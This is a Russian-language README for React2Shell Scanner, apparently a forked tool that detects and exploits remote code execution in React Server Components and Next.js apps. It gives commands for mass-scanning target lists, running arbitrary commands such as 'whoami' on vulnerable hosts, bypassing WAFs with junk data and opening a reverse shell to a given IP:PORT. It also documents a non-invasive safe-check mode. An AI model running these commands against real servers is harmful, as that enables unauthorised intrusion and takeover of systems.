React2Shell Scanner

Высокоточное обнаружение RCE в RSC/Next.js

Сканер для обнаружения уязвимостей удаленного выполнения кода (RCE) в приложениях React Server Components и Next.js.

О проекте

React2Shell Scanner — это специализированный инструмент для выявления уязвимостей удаленного выполнения кода (RCE) в приложениях, использующих React Server Components (RSC) и Next.js. Инструмент обнаруживает уязвимости, связанные со следующими CVE:

CVE-2025-55182
CVE-2025-66478

Инструмент выполняет высокоточные проверки, используя side-channel detection и proof-of-concept RCE, с возможностью извлечения динамических результатов выполненных команд через автоматический разбор HTTP-ответов.

Это отредактированная версия @imguimoraes оригинального сканера, разработанного Assetnote Security Research Team. Оригинальный PoC RCE создан @maple3142.

Особенности

Высокоточное обнаружение с использованием side-channel и PoC RCE
Многопоточное выполнение для массового сканирования
Динамическое извлечение результатов выполненных команд (автоматический разбор заголовков и тела ответа)
Обход WAF с настраиваемыми случайными данными
Поддержка Windows (PowerShell) и Linux/Unix (shell)
Вывод в структурированном JSON для последующего анализа
Автоматическое следование перенаправлениям
Интерфейс с индикатором прогресса и цветным выводом

Установка

Требования

Python 3.8 или выше
pip (менеджер пакетов Python)

Установка зависимостей

pip install requests tqdm

Или с помощью файла requirements.txt:

pip install -r requirements.txt

Использование

Базовый синтаксис

python scanner.py [-u URL | -l FILE] [опции]

Проверка одного URL

python scanner.py -u https://example.com

Проверка нескольких URL

python scanner.py -l hosts.txt

Параметры командной строки

Параметры ввода (обязательно указать один)

Опция	Описание
`-u, --url URL`	Один URL или хост для проверки
`-l, --list FILE`	Файл со списком хостов (по одному на строку)

Параметры выполнения

Опция	Описание
`-t, --threads N`	Количество параллельных потоков (по умолчанию: 10)
`--timeout SECONDS`	Тайм-аут запросов в секундах (по умолчанию: 10)
`-k, --insecure`	Отключить проверку SSL-сертификата (включено по умолчанию)

Параметры вывода

Опция	Описание
`-o, --output FILE`	Файл для вывода результатов в формате JSON
`--all-results`	Сохранять все результаты в файл, а не только уязвимые
`-v, --verbose`	Подробный вывод (показывает фрагменты ответа для анализа)
`-q, --quiet`	Тихий режим (показывает только уязвимые хосты)
`--no-color`	Отключить цветной вывод

Параметры заголовков

Опция	Описание
`-H, --header "Key: Value"`	Добавить пользовательский HTTP-заголовок (можно использовать несколько раз)

Параметры эксплойта

Опция	Описание
`--safe-check`	Использовать безопасный side-channel детектор вместо PoC RCE (не выполняет код)
`--windows`	Использовать полезную нагрузку PowerShell вместо Unix shell (для Windows)
`--waf-bypass`	Добавлять случайные данные в полезную нагрузку для обхода WAF (по умолчанию: 128 КБ)
`--waf-bypass-size KB`	Размер случайных данных в КБ для обхода WAF (по умолчанию: 128)
`--payload COMMAND`	Пользовательская команда для выполнения через RCE (по умолчанию: `echo $((41*271))`)
`--reverse-shell IP:PORT`	Создать обратное соединение reverse shell на указанный IP:PORT

Примеры использования

Пример 1: Базовое сканирование одного хоста

python scanner.py -u https://target.com

Пример 2: Массовое сканирование с несколькими потоками

python scanner.py -l targets.txt -t 50 --timeout 15

Пример 3: Сканирование с выводом в JSON

python scanner.py -l targets.txt -o results.json --all-results

Пример 4: Сканирование с пользовательскими заголовками

python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Пример 5: Сканирование с пользовательской полезной нагрузкой

python scanner.py -u https://target.com --payload "whoami"

Пример 6: Сканирование с обходом WAF

python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Пример 7: Сканирование в среде Windows

python scanner.py -u https://target.com --windows --payload "whoami"

Пример 8: Сканирование с безопасной проверкой (неинвазивно)

python scanner.py -l targets.txt --safe-check

Пример 9: Полное подробное сканирование

python scanner.py -l targets.txt -v --all-results -o full_scan.json

Пример 10: Установка reverse shell

python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Формат вывода

Вывод в терминал

Сканер отображает результаты с цветовой кодировкой статуса:

[VULNERABLE] — уязвимый хост (красный)
[NOT VULNERABLE] — неуязвимый хост (зеленый)
[ERROR] — ошибка при проверке (желтый)

Для уязвимых хостов при наличии отображается результат выполненной команды, полученный через автоматическое извлечение из заголовка X-Action-Redirect или тела ответа.

Формат JSON

При использовании опции -o результат сохраняется в формате JSON следующей структуры:

{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Поля результата:

vulnerable: true если уязвим, false если нет, null если произошла ошибка
command_result: Результат выполненной команды, извлеченный из ответа (если доступен)
final_url: Конечный проверенный URL (после следования перенаправлениям, если включено)
status_code: HTTP-код ответа
request: Полный отправленный HTTP-запрос
response: Полученный HTTP-ответ (первые 2000 символов)
error: Сообщение об ошибке, если есть
timestamp: UTC метка времени проверки

Технические детали

Методы обнаружения

Сканер предлагает два метода обнаружения:

Safe Check (--safe-check): неинвазивный side-channel детектор, проверяющий шаблоны ошибок в ответе без выполнения кода. Полезен для первоначального сканирования без воздействия.
RCE PoC: реальное выполнение удаленного кода с динамическим извлечением результатов. Использует полезные нагрузки на основе Node.js child_process для выполнения системных команд.

Извлечение результатов

Сканер выполняет автоматический разбор HTTP-ответов для извлечения результатов выполненных команд:

Извлечение из заголовка X-Action-Redirect (формат: NEXT_REDIRECT;push;/login?a=<result>;307;)
Извлечение из тела ответа (формат: E{"digest":"<result>"} или 1:E{"digest":"<result>"})
Работает с любой пользовательской командой/полезной нагрузкой через параметр --payload

Извлечение выполняется динамически, не зависит от фиксированных значений, что позволяет проверять выполнение любой команды.

Обход WAF

При использовании опции --waf-bypass:

Добавляет случайные данные (junk data) в начало полезной нагрузки multipart/form-data
Размер настраивается через --waf-bypass-size (по умолчанию: 128 КБ)
Полезен для обхода фильтров WAF, инспектирующих содержимое тела запроса
Тайм-аут автоматически увеличивается до 20 секунд при активном обходе WAF

Пользовательские полезные нагрузки

Параметр --payload позволяет указать любую команду для выполнения:

react2shell-evolved

Популярное